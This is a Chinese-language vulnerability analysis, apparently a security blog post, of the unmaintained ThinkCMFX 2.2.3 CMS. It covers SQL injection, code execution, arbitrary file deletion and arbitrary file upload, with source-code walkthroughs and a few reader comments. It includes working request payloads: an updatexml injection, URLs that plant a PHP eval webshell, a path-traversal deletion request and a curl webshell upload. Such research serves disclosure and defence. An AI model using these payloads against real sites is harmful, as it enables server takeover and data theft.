ThinkCMFX漏洞分析合集

ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

ThinkCMF 有两个版本。 ThinkCMF 基于 ThinkPHP5 开发的,目前还在持续维护;而 ThinkCMFX 基于 ThinkPHP3 开发的,目前官方已经不再维护了。本文将对 ThinkCMFX 最终版 2.2.3 进行漏洞总结分析。 ThinkCMFX2.2.3 下载地址:https://pan.baidu.com/s/1bRXwdg

前台SQL注入

ThinkCMFX2.2.3 最终版中,存在一处SQL注入(需要普通用户权限,默认可注册),触发截图如下。

POST /ThinkCMFX/index.php?g=portal&m=article&a=edit_post HTTP/1.1
Host: localhost
Connection: close
Cookie: PHPSESSID=kcg5v82ms3v13o8pgrhh9saj95
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

post[id][0]=bind&post[id][1]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)--+-

我们来具体分析一下这个漏洞。这处漏洞我觉得可能是开发忘记过滤导致的,因为其他代码中对于 id 的获取写法都是类似 I('get.id',0,'intval') 。用 intval 函数进行强转,而这里明显像是忘记了。可控变量 $article['id'] 来自 POST ,未经过滤直接作为 where 条件进行查询,最终导致 SQL注入漏洞 。(下图对应文件位置:application/Portal/Controller/ArticleController.class.php)

如下图所示,框架底层将数据进行了拼接,分析过 ThinkPHP 历史漏洞的人应该对这处代码相当熟悉,不熟悉的话可以参阅 https://github.com/Mochazz/ThinkPHP-Vuln ,这里不再赘述。(下图对应文件位置:simplewind/Core/Library/Think/Db/Driver.class.php)

上面是网络上已经公开的,我们也可以举一反三,找找其他地方。在 application/User/Controller/RegisterController.class.php 文件中,我们可以明显发现一个可控点

我们构造如下 payload ,会发现 SQL 报错了,但是这个报错只是将我们执行的语句爆出来了,并没有执行 updatexml 部分,这是为什么呢?

其实这里是预编译时,参数绑定出错了。如下图,我们可以看到 $this->bind 变量是空的,而 SQL 语句中存在占位符 :0 ,显然这里没有数据用来填充,所以在预编译的时候出错了。

那之前那处为什么能爆出数据呢?因为,之前语句本来就使用了参数绑定,所以 $this->bind 有数据用于参数绑定,这样预编译就不会出错了。

所以我们这里发现的这处 SQL注入 暂时无法利用。除了这里的,还有其他多处存在 SQL注入 ,需要后台权限的 SQL注入 这里就不分析了,具体可以参考 https://github.com/thinkcmf/cmfx/issues/26

前台代码执行

ThinkCMFX2.2.3 最终版中,存在2处前台代码执行。发送如下数据包后,会在网站根目录生成一个名为 mochazz.phpwebshell 。(该漏洞仅能在 Windows 下触发)

# 第一处
http://website/ThinkCMFX/index.php?g=Comment&m=Widget&a=fetch&templateFile=/../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=
# 第二处
http://website/ThinkCMFX/index.php?g=Api&m=Plugin&a=fetch&templateFile=/../../../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=

这个漏洞的主要成因是:程序未对模板文件名进行过滤,且接口权限控制不严。在模板名可控、文件内容可控的情况下,我们可以将 webshell 写入缓存文件,然后框架会去包含缓存文件,这样就成功执行了 webshell 。还有一个问题是该漏洞仅能在 Windows 下触发,这个之后再说。下面我们来具体分析这个漏洞。

在下图第68行处,会对模板文件 $templateFile 是否存在进行一个判断,如果不存在就会报错退出。而在此之前第67行,会在模板名前面拼接一个路径,但是我们却可以使用 ../ 字符来控制这个 $templateFile ,使其绕过文件是否存在的判断。(下图对应文件位置:application/Comment/Controller/WidgetController.class.php)

因为我们是直接通过路由访问到这个接口的,所以此时 $templateFile 变量的值为 THEME_PATHComment/../public/index.html ,而程序本意肯定是定义了 THEME_PATH

THEME_PATHComment 这个目录肯定是不存在的,而在 Windows 下允许 不存在目录/../public/index.htmlLinux 下是不行的,所以这个漏洞只能在 Windows 下利用。我们继续来看代码。

当缓存文件不存在时,程序会将我们传入的内容写进缓存文件,具体代码如下图所示。(下图对应文件位置:simplewind/Core/Library/Think/Template.class.php)

(下图对应文件位置:simplewind/Core/Library/Think/Storage/Driver/File.class.php)

之后再包含这个缓存文件,最终导致代码执行。

任意文件删除

在用户上传头像处存在任意文件删除漏洞,发送如下数据包后,会删除网站根目录下一个名为 mochazz.txt 的文件。(该漏洞仅能在 Windows 下触发)

POST /ThinkCMFX/index.php?g=User&m=Profile&a=do_avatar& HTTP/1.1
Host: localhost
Cookie: PHPSESSID=bggit7phrb1dl99pcb2lagbmq0;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

imgurl=..\..\..\mochazz.txt

每次上传头像后, ThinkCMFX2.2.3 将新的头像地址写入数据库,并将先前的头像删除。程序这里对符号 / 进行了过滤,就是为了防止路径穿越问题。然而在 Windows 下,却允许 ..\..\头像文件 这种写法,所以也是为什么这个漏洞仅在 Windows 下可利用。(下图对应文件位置:application/User/Controller/ProfileController.class.php)

任意文件上传

ThinkCMFX2.2.3 最终版中,存在一处任意文件上传(需要普通用户权限,默认可注册),触发截图如下。

➜  curl -F "file=@/tmp/shell.php" -X "POST" -b 'PHPSESSID=qekmttucmue6vv41kpdjghnkd0;' 'http://127.0.0.1/ThinkCMFX/index.php?g=Asset&m=Ueditor&a=upload&action=uploadfile'

这个漏洞的成因,我怀疑又是开发手抖导致的,具体原因见下文分析。

在调用 UeditorController 类的方法之前,会优先调用 _initialize 方法。我们可以看到这个方法是用来判断是否为管理员或已注册的用户,只有注册过的用户才有上传权限。(下图对应文件位置:application/Asset/Controller/UeditorController.class.php)

接着我们可以看到,上传文件时都是调用 _ueditor_upload 方法,我这里选取最后一个 uploadfile 来看。(也可选择 uploadscrawl、uploadvideo 来触发这个漏洞,因为出问题的函数是 _ueditor_upload

看下图第297行,程序本意想用白名单数组,来验证上传文件的后缀,但是???明显程序员写错了,正确的写法应该是 $allowed_exts=explode(',', $upload_setting[$filetype]['extensions']); ,这就导致了白名单规则失效。这里错误的写法,会导致 $allowed_extsnull 。我们跟进下图第314行 \Think\Upload 类的 upload 方法,看看其是如何进行数据校验的。(下图对应文件位置:application/Asset/Controller/UeditorController.class.php)

upload 方法里面会调用 check 来检查上传的文件信息,关键看下面的后缀检测,可以看到下面条件直接就返回了 true

接着会调用 getSaveName 方法生成文件名,可以看到这里直接以 php 作为后缀(下图对应文件位置:simplewind/Core/Library/Think/Upload.class.php)

获取完文件名,又回到了 upload 方法。这里对后缀进行了白名单校验,但是前面我们说过了,由于程序员手抖导致这里 $extnull ,所以白名单功能也就失效了。然后下面就调用 save 方法将文件写入服务器。

save 方法执行完,回到最初的 _ueditor_upload 方法。程序将文件保存的地址以 json 形式返回了,这样即便文件名随机性很强,我们也能获得 webshell 的地址。

参考


https://xz.aliyun.com/t/3529
http://www.yulegeyu.com/2019/02/05/ThinkCMFX-arbitrarily-file-upload/

以前也遇到过这种情况……其他地方的参数都进行了过滤,某个没有,很明显忘记写了

这个应该是完全没有进行过滤了,不然基本上不会出现这种情况

感谢大佬的分析